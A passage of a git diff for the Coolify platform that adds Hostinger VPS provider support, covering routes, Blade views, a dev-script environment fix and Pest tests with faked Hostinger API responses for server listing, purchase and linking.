[ 'name' => $matchedHetznerServer['name'] ?? 'Hetzner server', @@ -56,6 +59,13 @@ 'status' => $matchedVultrInstance['status'] ?? null, ] : null; + $hostingerMatch = $matchedHostingerVirtualMachine + ? [ + 'name' => $matchedHostingerVirtualMachine['hostname'] ?? 'Hostinger VPS', + 'id' => $matchedHostingerVirtualMachine['id'] ?? null, + 'status' => $matchedHostingerVirtualMachine['state'] ?? null, + ] + : null; @endphp
@@ -107,6 +117,18 @@ :searchError="$vultrSearchError" :noMatch="$vultrNoMatchFound" :matched="$vultrMatch" /> @endif + @if (!$server->hostinger_virtual_machine_id && $availableHostingerTokens->isNotEmpty()) + + @endif
@endif @@ -272,6 +294,12 @@ title="Refresh provider status"> + @elseif ($provider === 'Hostinger') + + + @endif @if ($server->cloudProviderToken) @if ($provider === 'Hetzner' && !$server->isFunctional() && $hetznerServerStatus === 'off') diff --git a/routes/api.php b/routes/api.php index a44b95a1d2..54d500973b 100644 --- a/routes/api.php +++ b/routes/api.php @@ -13,6 +13,7 @@ use App\Http\Controllers\Api\DigitalOceanController; use App\Http\Controllers\Api\GithubController; use App\Http\Controllers\Api\GitlabController; use App\Http\Controllers\Api\HetznerController; +use App\Http\Controllers\Api\HostingerController; use App\Http\Controllers\Api\InstanceEmailSettingsController; use App\Http\Controllers\Api\IntegrationTokensController; use App\Http\Controllers\Api\NotificationsController; @@ -232,6 +233,13 @@ Route::group([ Route::get('/digitalocean/ssh-keys', [DigitalOceanController::class, 'sshKeys'])->middleware(['api.ability:read']); Route::post('/servers/digitalocean', [DigitalOceanController::class, 'createServer'])->middleware(['api.ability:write']); + Route::get('/hostinger/data-centers', [HostingerController::class, 'dataCenters'])->middleware(['api.ability:read']); + Route::get('/hostinger/catalog', [HostingerController::class, 'catalog'])->middleware(['api.ability:read']); + Route::get('/hostinger/templates', [HostingerController::class, 'templates'])->middleware(['api.ability:read']); + Route::get('/hostinger/ssh-keys', [HostingerController::class, 'sshKeys'])->middleware(['api.ability:read']); + Route::get('/hostinger/post-install-scripts', [HostingerController::class, 'postInstallScripts'])->middleware(['api.ability:read']); + Route::post('/servers/hostinger', [HostingerController::class, 'createServer'])->middleware(['api.ability:write']); + Route::get('/resources', [ResourcesController::class, 'resources'])->middleware(['api.ability:read']); Route::get('/tags', [TagsController::class, 'tags'])->middleware(['api.ability:read']); diff --git a/routes/web.php b/routes/web.php index 65a9cb4d48..3294c6edf7 100644 --- a/routes/web.php +++ b/routes/web.php @@ -377,8 +377,8 @@ Route::middleware(['auth', 'verified'])->group(function () { Route::get('/registries', ServerDockerRegistries::class)->name('registries.index'); Route::get('/servers/import', ServerTransferImport::class)->name('server.transfer.import')->middleware('can:create,'.Server::class); Route::get('/servers/new', ServerCreatePage::class)->name('server.create')->middleware('can:create,'.Server::class); - Route::get('/servers/new/{type}/{token_uuid}', ServerCreatePage::class)->name('server.create.token')->middleware('can:create,'.Server::class)->whereIn('type', ['hetzner', 'vultr', 'digital-ocean']); - Route::get('/servers/new/{type}', ServerCreatePage::class)->name('server.create.type')->middleware('can:create,'.Server::class)->whereIn('type', ['hetzner', 'vultr', 'digital-ocean', 'manual']); + Route::get('/servers/new/{type}/{token_uuid}', ServerCreatePage::class)->name('server.create.token')->middleware('can:create,'.Server::class)->whereIn('type', ['hetzner', 'vultr', 'digital-ocean', 'hostinger']); + Route::get('/servers/new/{type}', ServerCreatePage::class)->name('server.create.type')->middleware('can:create,'.Server::class)->whereIn('type', ['hetzner', 'vultr', 'digital-ocean', 'hostinger', 'manual']); Route::prefix('server/{server_uuid}')->group(function () { Route::get('/', ServerShow::class)->name('server.show'); diff --git a/scripts/dev b/scripts/dev index 5a02758a58..0da92917a2 100755 --- a/scripts/dev +++ b/scripts/dev @@ -382,9 +382,10 @@ start_backend() { local host="${DEV_BIND_ADDRESS:-127.0.0.1}" [[ "$host" == 0.0.0.0 ]] && host=127.0.0.1 echo "Using KVM profile: $profile" - # The host command must reach this instance's database and encrypt with this instance's - # APP_KEY, not the ones in .env, and must not create root-owned files in storage/logs. - LOG_CHANNEL=stderr APP_KEY="$(env_value "$instance" APP_KEY)" \ + # Use this instance database and encryption key, without a stale environment or config cache. + # Send logs to stderr to avoid root-owned files in storage/logs. + APP_ENV=local APP_CONFIG_CACHE="$ROOT/bootstrap/cache/dev-qemu-$$.php" \ + LOG_CHANNEL=stderr APP_KEY="$(env_value "$instance" APP_KEY)" \ DB_HOST="$host" DB_PORT="$(env_value "$instance" FORWARD_DB_PORT)" \ REDIS_HOST="$host" REDIS_PORT="$(env_value "$instance" FORWARD_REDIS_PORT)" \ DEVELOPMENT_QEMU_INSTANCE="$instance" \ diff --git a/tests/Feature/BoardingActionsLayoutTest.php b/tests/Feature/BoardingActionsLayoutTest.php new file mode 100644 index 0000000000..71e7b824e4 --- /dev/null +++ b/tests/Feature/BoardingActionsLayoutTest.php @@ -0,0 +1,84 @@ +toContain('class="mx-auto mt-6 flex w-full max-w-3xl flex-col items-center gap-3"'); +}); + +test('server validation opens in the centered process dialog', function () { + $view = file_get_contents(resource_path('views/livewire/boarding/index.blade.php')); + + expect($view) + ->toContain('') + ->toContain('@click="processDialogOpen = true"') + ->not->toContain(''); +}); + +test('DigitalOcean is available as an onboarding server provider', function () { + $view = file_get_contents(resource_path('views/livewire/boarding/index.blade.php')); + + expect($view) + ->toContain('') + ->toContain('') + ->toContain('Deploy servers directly from your DigitalOcean account.') + ->toContain(''); +}); + +test('Hostinger is available as an onboarding server provider', function () { + $view = file_get_contents(resource_path('views/livewire/boarding/index.blade.php')); + + expect($view) + ->toContain('') + ->toContain('') + ->toContain('Deploy servers directly from your Hostinger account.') + ->toContain(''); +}); + +test('server type details are shown on the relevant cards instead of a technical details panel', function () { + $view = file_get_contents(resource_path('views/livewire/boarding/index.blade.php')); + + expect($view) + ->toContain('aria-label="About this machine"') + ->toContain('aria-label="About remote servers"') + ->toContain('Not recommended for production workloads due to resource contention.') + ->toContain('Any SSH-accessible server, including cloud VPS, bare metal, and self-hosted infrastructure.') + ->not->toContain('') + ->not->toContain('') + ->not->toContain(''); +}); + +test('server type cards use the standard card hover treatment', function () { + $view = file_get_contents(resource_path('views/livewire/boarding/index.blade.php')); + $hoverClasses = 'shadow-sm transition-all hover:-translate-y-px hover:border-neutral-300 hover:shadow-md'; + preg_match_all('/min-h-36[^\"]*'.preg_quote($hoverClasses, '/').'/', $view, $matches); + + expect($matches[0])->toHaveCount(6) + ->and(substr_count($view, 'group relative cursor-pointer'))->toBe(6) + ->and($view)->not->toContain('hover:border-coollabs/35 hover:bg-coollabs/[0.03]') + ->and($view)->not->toContain('dark:hover:border-warning/25 dark:hover:bg-warning/[0.04]'); +}); + +test('existing SSH key selection does not show a redundant value tooltip', function () { + $view = file_get_contents(resource_path('views/livewire/boarding/index.blade.php')); + + expect($view)->toContain('label="Existing SSH key" :options="$privateKeyOptions" :tooltip="false"'); +}); + +test('server connection step does not render a technical details panel', function () { + $view = file_get_contents(resource_path('views/livewire/boarding/index.blade.php')); + + expect($view) + ->not->toContain('') + ->not->toContain('') + ->not->toContain(''); +}); + +test('project step does not render a technical details panel', function () { + $view = file_get_contents(resource_path('views/livewire/boarding/index.blade.php')); + + expect($view) + ->not->toContain('') + ->not->toContain('') + ->not->toContain(''); +}); diff --git a/tests/Feature/CloudProviderLinkDropdownTest.php b/tests/Feature/CloudProviderLinkDropdownTest.php index 1f14482cf6..714b896e01 100644 --- a/tests/Feature/CloudProviderLinkDropdownTest.php +++ b/tests/Feature/CloudProviderLinkDropdownTest.php @@ -59,19 +59,66 @@ it('shows link cloud provider dropdown with available unlinked providers', funct 'name' => 'Test DigitalOcean Token', ]); + CloudProviderToken::query()->create([ + 'team_id' => $this->team->id, + 'provider' => 'hostinger', + 'token' => 'test-hostinger-token', + 'name' => 'Test Hostinger Token', + ]); + Livewire::test(Show::class, ['server_uuid' => $this->server->uuid]) ->assertSee('Link provider') ->assertSee('Hetzner') ->assertSee('DigitalOcean') ->assertSee('Vultr') + ->assertSee('Hostinger') ->assertSee('Hetzner Token') ->assertSee('DigitalOcean Token') ->assertSee('Vultr Token') + ->assertSee('Hostinger Token') ->assertSee('Server ID') ->assertSee('Droplet ID') ->assertSee('Instance ID') + ->assertSee('Virtual Machine ID') ->assertSee('Search by server IP') - ->assertSee('Search'); + ->assertSee('Search ID'); +}); + +it('links a manually added server to a Hostinger VPS by IP', function () { + $token = CloudProviderToken::query()->create([ + 'team_id' => $this->team->id, + 'provider' => 'hostinger', + 'token' => 'test-hostinger-token', + 'name' => 'Test Hostinger Token', + ]); + + Http::fake([ + 'https://developers.hostinger.com/api/vps/v1/virtual-machines' => Http::response([ + [ + 'id' => 17923, + 'hostname' => 'hostinger.example.com', + 'state' => 'running', + 'ipv4' => [['address' => '1.2.3.4']], + ], + ]), + 'https://developers.hostinger.com/api/vps/v1/virtual-machines/17923' => Http::response([ + 'id' => 17923, + 'hostname' => 'hostinger.example.com', + 'state' => 'running', + 'ipv4' => [['address' => '1.2.3.4']], + ]), + ]); + + Livewire::test(Show::class, ['server_uuid' => $this->server->uuid]) + ->set('selectedHostingerTokenId', $token->id) + ->call('searchHostingerVirtualMachine') + ->assertSet('matchedHostingerVirtualMachine.id', 17923) + ->call('linkToHostinger') + ->assertDispatched('success'); + + expect($this->server->fresh()->hostinger_virtual_machine_id)->toBe(17923) + ->and($this->server->fresh()->hostinger_virtual_machine_status)->toBe('running') + ->and($this->server->fresh()->cloud_provider_token_id)->toBe($token->id); }); it('hides link cloud provider dropdown when no providers can be linked', function () { diff --git a/tests/Feature/CloudProviderTokenShowTest.php b/tests/Feature/CloudProviderTokenShowTest.php index fad6be2287..1c657c644c 100644 --- a/tests/Feature/CloudProviderTokenShowTest.php +++ b/tests/Feature/CloudProviderTokenShowTest.php @@ -49,6 +49,24 @@ test('server cloud provider token cards show token descriptions', function () { ->assertSee('Used for production servers in the EU region.'); }); +test('server cloud provider token page supports Hostinger VPS servers', function () { + $server = Server::factory()->create([ + 'team_id' => $this->team->id, + 'hostinger_virtual_machine_id' => 17923, + ]); + + CloudProviderToken::factory()->create([ + 'team_id' => $this->team->id, + 'provider' => 'hostinger', + 'name' => 'Production Hostinger', + ]); + + Livewire::test(Show::class, ['server_uuid' => $server->uuid]) + ->assertSet('provider', 'hostinger') + ->assertSet('providerName', 'Hostinger') + ->assertSee('Production Hostinger'); +}); + describe('after the user switches the session team', function () { beforeEach(function () { $this->withoutDefer(); diff --git a/tests/Feature/DevScriptTest.php b/tests/Feature/DevScriptTest.php index 1864c012f9..232bde15de 100644 --- a/tests/Feature/DevScriptTest.php +++ b/tests/Feature/DevScriptTest.php @@ -245,6 +245,30 @@ BASH); ->not->toContain('--profile testing-host up'); }); +it('runs the host qemu command with a clean local environment', function () { + if (! function_exists('posix_geteuid') || posix_geteuid() !== 0 || ! file_exists('/dev/kvm') || filetype('/dev/kvm') !== 'char' || ! is_readable('/dev/kvm') || ! is_writable('/dev/kvm')) { + $this->markTestSkipped('KVM and root access are required for this launcher branch.'); + } + + file_put_contents($this->devRoot.'/bin/php', <<<'BASH' +#!/usr/bin/env bash +[[ "$APP_ENV" == local && "$APP_CONFIG_CACHE" == */bootstrap/cache/dev-qemu-*.php ]] || { + echo 'This command may only run in development mode.' >&2 + exit 1 +} +printf 'php %s ENV=%s CACHE=%s\n' "$*" "$APP_ENV" "$APP_CONFIG_CACHE" >> "$DEV_TEST_LOG" +BASH); + + $process = runDevScript('wt', ['start', 'ubuntu-root'], [ + 'COOLIFY_DEV_SERVER_BACKEND' => 'auto', + 'APP_ENV' => 'production', + 'APP_CONFIG_CACHE' => '/tmp/stale-config.php', + ]); + + expect($process->isSuccessful())->toBeTrue($process->getErrorOutput()) + ->and(devScriptLog())->toContain('php artisan dev:qemu ubuntu-root --as-localhost ENV=local CACHE='); +}); + it('starts a lima vm as localhost on macos and seeds its forwarded ssh port', function () { ($this->fakeLima)(); runDevScript('main', ['start']); diff --git a/tests/Feature/HostingerApiTest.php b/tests/Feature/HostingerApiTest.php new file mode 100644 index 0000000000..bdb5c309e4 --- /dev/null +++ b/tests/Feature/HostingerApiTest.php @@ -0,0 +1,273 @@ +whereKey(0)->delete(); + InstanceSettings::unguarded(fn () => InstanceSettings::query()->create([ + 'id' => 0, + 'is_api_enabled' => true, + ])); + Once::flush(); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + session(['currentTeam' => $this->team]); + + $this->bearerToken = $this->user->createToken('test-token', ['*'])->plainTextToken; + $this->hostingerToken = CloudProviderToken::factory()->create([ + 'team_id' => $this->team->id, + 'provider' => 'hostinger', + 'token' => 'hostinger-api-token', + ]); + $this->privateKey = PrivateKey::factory()->create(['team_id' => $this->team->id]); +}); + +it('gets Hostinger data centers', function () { + Http::fake([ + 'https://developers.hostinger.com/api/vps/v1/data-centers' => Http::response([ + ['id' => 19, 'city' => 'Amsterdam', 'location' => 'nl'], + ]), + ]); + + $this->withToken($this->bearerToken) + ->getJson('/api/v1/hostinger/data-centers?cloud_provider_token_id='.$this->hostingerToken->uuid) + ->assertSuccessful() + ->assertJsonFragment(['id' => 19, 'city' => 'Amsterdam']); +}); + +it('gets Hostinger SSH keys and post-install scripts', function () { + Http::fake([ + 'https://developers.hostinger.com/api/vps/v1/public-keys' => Http::response([ + 'data' => [['id' => 42, 'name' => 'Operations']], + ]), + 'https://developers.hostinger.com/api/vps/v1/post-install-scripts' => Http::response([ + 'data' => [['id' => 73, 'name' => 'Bootstrap Coolify']], + ]), + ]); + + $query = '?cloud_provider_token_id='.$this->hostingerToken->uuid; + + $this->withToken($this->bearerToken) + ->getJson('/api/v1/hostinger/ssh-keys'.$query) + ->assertSuccessful() + ->assertJsonFragment(['id' => 42, 'name' => 'Operations']); + + $this->withToken($this->bearerToken) + ->getJson('/api/v1/hostinger/post-install-scripts'.$query) + ->assertSuccessful() + ->assertJsonFragment(['id' => 73, 'name' => 'Bootstrap Coolify']); +}); + +it('gets only Hostinger KVM plans through the API', function () { + Http::fake([ + 'https://developers.hostinger.com/api/billing/v1/catalog*' => Http::response([ + ['id' => 'hostingercom-vps-kvm1', 'name' => 'KVM 1', 'prices' => []], + ['id' => 'hostingercom-vps-kvmminecraftalex', 'name' => 'Game Panel 1', 'prices' => []], + ]), + ]); + + $this->withToken($this->bearerToken) + ->getJson('/api/v1/hostinger/catalog?cloud_provider_token_id='.$this->hostingerToken->uuid) + ->assertSuccessful() + ->assertJsonCount(1) + ->assertJsonFragment(['id' => 'hostingercom-vps-kvm1']) + ->assertJsonMissing(['id' => 'hostingercom-vps-kvmminecraftalex']); +}); + +it('returns 403 with the Hostinger message when Hostinger denies a provider list', function (int $hostingerStatus) { + Http::fake([ + 'https://developers.hostinger.com/api/vps/v1/post-install-scripts' => Http::response([ + 'message' => '[VPS:2000] Unauthorized', + ], $hostingerStatus), + ]); + + $this->withToken($this->bearerToken) + ->getJson('/api/v1/hostinger/post-install-scripts?cloud_provider_token_id='.$this->hostingerToken->uuid) + ->assertForbidden() + ->assertExactJson(['message' => 'Hostinger denied access to post-install scripts: [VPS:2000] Unauthorized']); +})->with([401, 403]); + +it('returns 429 when Hostinger rate limits a provider list', function () { + Http::fake([ + 'https://developers.hostinger.com/api/vps/v1/templates' => Http::response([ + 'message' => 'Too many requests.', + ], 429, ['Retry-After' => '30']), + ]); + + $this->withToken($this->bearerToken) + ->getJson('/api/v1/hostinger/templates?cloud_provider_token_id='.$this->hostingerToken->uuid) + ->assertStatus(429) + ->assertHeader('Retry-After', '30') + ->assertExactJson(['message' => 'Rate limit exceeded. Please try again later.']); +}); + +it('returns a generic error when a Hostinger provider list fails', function () { + Http::fake([ + 'https://developers.hostinger.com/api/vps/v1/data-centers' => Http::response([ + 'message' => 'Invalid request', + ], 422), + ]); + + $this->withToken($this->bearerToken) + ->getJson('/api/v1/hostinger/data-centers?cloud_provider_token_id='.$this->hostingerToken->uuid) + ->assertServerError() + ->assertExactJson(['message' => 'Failed to fetch Hostinger data centers.']); +}); + +it('creates a Hostinger VPS server through the API', function () { + Http::fake([ + 'https://developers.hostinger.com/api/vps/v1/virtual-machines' => Http::response([ + 'order' => ['id' => 2957086, 'status' => 'completed'], + 'virtual_machine' => [ + 'id' => 17923, + 'state' => 'creating', + 'ipv4' => [['address' => '203.0.113.10']], + ], + ]), + ]); + + $this->withToken($this->bearerToken) + ->postJson('/api/v1/servers/hostinger', [ + 'cloud_provider_token_id' => $this->hostingerToken->uuid, + 'item_id' => 'hostingercom-vps-kvm2-usd-1m', + 'data_center_id' => 19, + 'template_id' => 1130, + 'name' => 'api-hostinger.example.com', + 'private_key_uuid' => $this->privateKey->uuid, + 'enable_backups' => true, + ]) + ->assertCreated() + ->assertJsonFragment([ + 'hostinger_virtual_machine_id' => 17923, + 'ip' => '203.0.113.10', + ]); + + $this->assertDatabaseHas('servers', [ + 'team_id' => $this->team->id, + 'hostinger_virtual_machine_id' => 17923, + 'ip' => '203.0.113.10', + ]); + + Http::assertSent(fn ($request) => $request->method() === 'POST' + && $request->url() === 'https://developers.hostinger.com/api/vps/v1/virtual-machines' + && $request['setup']['enable_backups'] === true); +}); + +it('turns paid Hostinger backups off when the API request does not enable them', function () { + Http::fake([ + 'https://developers.hostinger.com/api/vps/v1/virtual-machines' => Http::response([ + 'virtual_machine' => [ + 'id' => 17923, + 'state' => 'creating', + 'ipv4' => [['address' => '203.0.113.10']], + ], + ]), + ]); + + $this->withToken($this->bearerToken) + ->postJson('/api/v1/servers/hostinger', [ + 'cloud_provider_token_uuid' => $this->hostingerToken->uuid, + 'item_id' => 'hostingercom-vps-kvm1-usd-1m', + 'data_center_id' => 19, + 'template_id' => 1130, + 'private_key_uuid' => $this->privateKey->uuid, + ]) + ->assertCreated(); + + Http::assertSent(fn ($request) => $request->method() === 'POST' + && $request->url() === 'https://developers.hostinger.com/api/vps/v1/virtual-machines' + && $request['setup']['enable_backups'] === false); +}); + +it('keeps a charged Hostinger VPS when the purchase returns an error through the API', function () { + $listRequests = 0; + Http::fake([ + 'https://developers.hostinger.com/api/vps/v1/virtual-machines/2008976/setup' => Http::response([ + 'id' => 2008976, + 'state' => 'creating', + 'ipv4' => [['address' => '72.61.180.163']], + ]), + 'https://developers.hostinger.com/api/vps/v1/virtual-machines' => function ($request) use (&$listRequests) { + if ($request->method() === 'POST') { + return Http::response(['message' => '[VPS:2004] Wrong hostname FQDN format'], 422); + } + + return Http::response($listRequests++ === 0 ? [] : [['id' => 2008976, 'state' => 'initial']]); + }, + ]); + + $this->withToken($this->bearerToken) + ->postJson('/api/v1/servers/hostinger', [ + 'cloud_provider_token_id' => $this->hostingerToken->uuid, + 'item_id' => 'hostingercom-vps-kvm1-usd-1m', + 'data_center_id' => 19, + 'template_id' => 1077, + 'private_key_uuid' => $this->privateKey->uuid, + ]) + ->assertCreated() + ->assertJsonFragment([ + 'hostinger_virtual_machine_id' => 2008976, + 'ip' => '72.61.180.163', + ]); + + $this->assertDatabaseHas('servers', [ + 'team_id' => $this->team->id, + 'hostinger_virtual_machine_id' => 2008976, + 'ip' => '72.61.180.163', + ]); +}); + +it('reports a Hostinger order that is waiting for payment through the API', function () { + Http::fake([ + 'https://developers.hostinger.com/api/vps/v1/virtual-machines' => Http::response([ + 'id' => 2957086, + 'status' => 'payment_initiated', + ], 202), + ]); + + $this->withToken($this->bearerToken) + ->postJson('/api/v1/servers/hostinger', [ + 'cloud_provider_token_id' => $this->hostingerToken->uuid, + 'item_id' => 'hostingercom-vps-kvm2-usd-1m', + 'data_center_id' => 19, + 'template_id' => 1130, + 'private_key_uuid' => $this->privateKey->uuid, + ]) + ->assertStatus(202) + ->assertJsonFragment(['message' => 'Hostinger order 2957086 is waiting for payment. Finish the VPS setup in hPanel.']); + + $this->assertDatabaseMissing('servers', ['team_id' => $this->team->id]); +}); + +it('accepts Hostinger cloud provider tokens through the API', function () { + Http::fake([ + 'https://developers.hostinger.com/api/vps/v1/virtual-machines' => Http::response([]), + ]); + + $this->withToken($this->bearerToken) + ->postJson('/api/v1/cloud-tokens', [ + 'provider' => 'hostinger', + 'token' => 'another-hostinger-token', + 'name' => 'Another Hostinger Token', + ]) + ->assertCreated(); + + $this->assertDatabaseHas('cloud_provider_tokens', [ + 'team_id' => $this->team->id, + 'provider' => 'hostinger', + 'name' => 'Another Hostinger Token', + ]); +}); diff --git a/tests/Feature/HostingerServerCreationTest.php b/tests/Feature/HostingerServerCreationTest.php new file mode 100644 index 0000000000..48f24aa2eb --- /dev/null +++ b/tests/Feature/HostingerServerCreationTest.php @@ -0,0 +1,484 @@ + 'array', + 'session.driver' => 'array', + ]); + + InstanceSettings::unguarded(fn () => InstanceSettings::query()->create([ + 'id' => 0, + ])); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + $this->privateKey = PrivateKey::factory()->create(['team_id' => $this->team->id]); + $this->token = CloudProviderToken::factory()->create([ + 'team_id' => $this->team->id, + 'provider' => 'hostinger', + 'token' => 'hostinger-token', + 'name' => 'Production Hostinger', + ]); + + $this->actingAs($this->user); + session(['currentTeam' => $this->team]); +}); + +it('offers Hostinger as a server provider', function () { + Livewire::test(Create::class) + ->assertSee('Hostinger') + ->assertSee(route('server.create.type', ['type' => 'hostinger']), false); + + Livewire::test(CreatePage::class, ['type' => 'hostinger']) + ->assertSet('title', 'Hostinger') + ->assertSet('tokenProvider', 'hostinger'); +}); + +it('uses the current cloud provider UI and Hostinger affiliate link', function () { + Livewire::test(ByHostinger::class) + ->assertSee('Hostinger account') + ->assertSee('https://www.hostinger.com/vps/coolify-hosting?ref=coolify.io', false) + ->assertSee("through Coolify's affiliate link.", false); + + Livewire::test(ByHostinger::class, ['selectedTokenUuid' => $this->token->uuid]) + ->set('loading_data', false) + ->assertSee('Hostinger server') + ->assertSee('Advanced options') + ->assertSee('Buy and create'); +}); + +it('leaves paid Hostinger backups off by default', function () { + Livewire::test(ByHostinger::class, ['selectedTokenUuid' => $this->token->uuid]) + ->assertSet('enable_backups', false) + ->set('loading_data', false) + ->assertSee('Enable weekly Hostinger backups (extra cost)') + ->assertSee('Hostinger charges extra for backups. Check the price in hPanel before you enable them.'); +}); + +it('selects Hostinger account SSH keys with the same dropdown as Hetzner', function () { + Livewire::test(ByHostinger::class, ['selectedTokenUuid' => $this->token->uuid]) + ->set('loading_data', false) + ->set('hostinger_public_keys', [['id' => 42, 'name' => 'Operations']]) + ->assertSee('Extra SSH keys') + ->assertSee('Existing keys from the Hostinger account.') + ->assertSee('Search SSH keys') + ->assertSeeHtml('') + ->assertDontSeeHtml('Operations') + ->assertDontSeeHtml('id="hostinger-public-key-42-'); + + Livewire::test(ByHostinger::class, ['selectedTokenUuid' => $this->token->uuid]) + ->set('loading_data', false) + ->set('hostinger_public_keys', []) + ->assertSee('No account keys found'); +}); + +it('purchases a Hostinger VPS and creates the linked Coolify server', function () { + Http::fake([ + 'https://developers.hostinger.com/api/vps/v1/data-centers' => Http::response([ + ['id' => 19, 'name' => 'nl-ams', 'city' => 'Amsterdam', 'location' => 'nl'], + ]), + 'https://developers.hostinger.com/api/vps/v1/templates' => Http::response([ + ['id' => 1130, 'name' => 'Ubuntu 24.04 LTS'], + ]), + 'https://developers.hostinger.com/api/billing/v1/catalog*' => Http::response([ + [ + 'id' => 'hostingercom-vps-kvm2', + 'name' => 'KVM 2', + 'category' => 'VPS', + 'prices' => [ + [ + 'id' => 'hostingercom-vps-kvm2-usd-1m', + 'currency' => 'USD', + 'price' => 1799, + 'first_period_price' => 899, + 'period' => 1, + 'period_unit' => 'month', + ], + ], + ], + ]), + 'https://developers.hostinger.com/api/vps/v1/public-keys' => Http::response(['data' => []]), + 'https://developers.hostinger.com/api/vps/v1/post-install-scripts' => Http::response(['data' => []]), + 'https://developers.hostinger.com/api/vps/v1/virtual-machines' => Http::response([ + 'order' => ['id' => 2957086, 'status' => 'completed'], + 'virtual_machine' => [ + 'id' => 17923, + 'hostname' => 'coolify-hostinger.example.com', + 'state' => 'creating', + 'ipv4' => [['address' => '203.0.113.10']], + ], + ]), + ]); + + Livewire::test(ByHostinger::class, ['selectedTokenUuid' => $this->token->uuid]) + ->call('loadHostingerData') + ->set('server_name', 'coolify-hostinger.example.com') + ->set('selected_data_center_id', 19) + ->set('selected_template_id', 1130) + ->set('selected_price_id', 'hostingercom-vps-kvm2-usd-1m') + ->set('private_key_id', $this->privateKey->id) + ->set('enable_backups', true) + ->call('submit') + ->assertHasNoErrors(); + + $server = Server::query()->where('hostinger_virtual_machine_id', 17923)->firstOrFail(); + + expect($server->name)->toBe('coolify-hostinger.example.com') + ->and($server->ip)->toBe('203.0.113.10') + ->and($server->hostinger_virtual_machine_status)->toBe('creating') + ->and($server->cloud_provider_token_id)->toBe($this->token->id); + + Http::assertSent(fn ($request) => $request->method() === 'POST' + && $request->url() === 'https://developers.hostinger.com/api/vps/v1/virtual-machines' + && $request['item_id'] === 'hostingercom-vps-kvm2-usd-1m' + && $request['setup']['hostname'] === 'coolify-hostinger.example.com' + && $request['setup']['public_key']['key'] === $this->privateKey->getPublicKey()); +}); + +it('keeps a purchased Hostinger VPS linked while its public IP is pending', function () { + Http::fake([ + 'https://developers.hostinger.com/api/vps/v1/data-centers' => Http::response([['id' => 19, 'name' => 'nl-ams', 'city' => null]]), + 'https://developers.hostinger.com/api/vps/v1/templates' => Http::response([['id' => 1130, 'name' => 'Ubuntu']]), + 'https://developers.hostinger.com/api/billing/v1/catalog*' => Http::response([ + ['id' => 'hostingercom-vps-kvm2', 'name' => 'KVM 2', 'prices' => [['id' => 'kvm2-monthly']]], + ]), + 'https://developers.hostinger.com/api/vps/v1/public-keys' => Http::response(['data' => []]), + 'https://developers.hostinger.com/api/vps/v1/post-install-scripts' => Http::response(['data' => []]), + 'https://developers.hostinger.com/api/vps/v1/virtual-machines' => Http::response([ + 'virtual_machine' => ['id' => 17923, 'state' => 'creating', 'ipv4' => []], + ]), + 'https://developers.hostinger.com/api/vps/v1/virtual-machines/17923' => Http::response([ + 'message' => 'Still provisioning', + ], 503), + ]); + + Livewire::test(ByHostinger::class, ['selectedTokenUuid' => $this->token->uuid]) + ->call('loadHostingerData') + ->set('server_name', 'pending-hostinger.example.com') + ->set('selected_data_center_id', 19) + ->set('selected_template_id', 1130) + ->set('selected_price_id', 'kvm2-monthly') + ->set('private_key_id', $this->privateKey->id) + ->call('submit') + ->assertHasNoErrors(); + + expect(Server::query()->where('hostinger_virtual_machine_id', 17923)->firstOrFail()->ip) + ->toBe(Server::PLACEHOLDER_IP); +}); + +it('loads the Hostinger form when optional provider lists are not authorized', function () { + Http::fake([ + 'https://developers.hostinger.com/api/vps/v1/data-centers' => Http::response([['id' => 19, 'name' => 'nl-ams', 'city' => 'Amsterdam']]), + 'https://developers.hostinger.com/api/vps/v1/templates' => Http::response([['id' => 1130, 'name' => 'Ubuntu']]), + 'https://developers.hostinger.com/api/billing/v1/catalog*' => Http::response([ + ['id' => 'hostingercom-vps-kvm2', 'name' => 'KVM 2', 'prices' => [['id' => 'kvm2-monthly']]], + ]), + 'https://developers.hostinger.com/api/vps/v1/public-keys' => Http::response(['message' => '[VPS:2000] Unauthorized'], 403), + 'https://developers.hostinger.com/api/vps/v1/post-install-scripts' => Http::response(['message' => '[VPS:2000] Unauthorized'], 403), + 'https://developers.hostinger.com/api/vps/v1/virtual-machines' => Http::response([ + 'virtual_machine' => ['id' => 17923, 'state' => 'creating', 'ipv4' => [['address' => '203.0.113.10']]], + ]), + ]); + + Livewire::test(ByHostinger::class, ['selectedTokenUuid' => $this->token->uuid]) + ->call('loadHostingerData') + ->assertSet('provider_data_error', null) + ->assertSet('hostinger_public_keys', []) + ->assertSet('post_install_scripts', []) + ->assertSee('Buy and create') + ->set('server_name', 'optional-lists.example.com') + ->set('selected_data_center_id', 19) + ->set('selected_template_id', 1130) + ->set('selected_price_id', 'kvm2-monthly') + ->set('private_key_id', $this->privateKey->id) + ->call('submit') + ->assertHasNoErrors(); + + expect(Server::query()->where('hostinger_virtual_machine_id', 17923)->exists())->toBeTrue(); +}); + +it('revalidates the selected Hostinger price before making a purchase', function () { + Http::fake([ + 'https://developers.hostinger.com/api/vps/v1/data-centers' => Http::response([ + ['id' => 19, 'name' => 'nl-ams', 'city' => 'Amsterdam'], + ]), + 'https://developers.hostinger.com/api/vps/v1/templates' => Http::response([ + ['id' => 1130, 'name' => 'Ubuntu 24.04 LTS'], + ]), + 'https://developers.hostinger.com/api/billing/v1/catalog*' => Http::response([ + [ + 'id' => 'hostingercom-vps-kvm2', + 'name' => 'KVM 2', + 'prices' => [['id' => 'hostingercom-vps-kvm2-usd-1m']], + ], + ]), + 'https://developers.hostinger.com/api/vps/v1/public-keys' => Http::response(['data' => []]), + 'https://developers.hostinger.com/api/vps/v1/post-install-scripts' => Http::response(['data' => []]), + ]); + + Livewire::test(ByHostinger::class, ['selectedTokenUuid' => $this->token->uuid]) + ->call('loadHostingerData') + ->set('server_name', 'coolify-hostinger.example.com') + ->set('selected_data_center_id', 19) + ->set('selected_template_id', 1130) + ->set('selected_price_id', 'tampered-price-id') + ->set('private_key_id', $this->privateKey->id) + ->call('submit') + ->assertHasErrors('selected_price_id'); + + Http::assertNotSent(fn ($request) => $request->method() === 'POST'); +}); + +function fakeHostingerProvisioningOptions(array $overrides = []): void +{ + $price = fn (string $plan, int $period, string $unit, string $suffix) => [ + 'id' => "hostingercom-vps-{$plan}-usd-{$suffix}", + 'currency' => 'USD', + 'price' => 1000, + 'first_period_price' => 500, + 'period' => $period, + 'period_unit' => $unit, + ]; + $prices = fn (string $plan) => [ + $price($plan, 2, 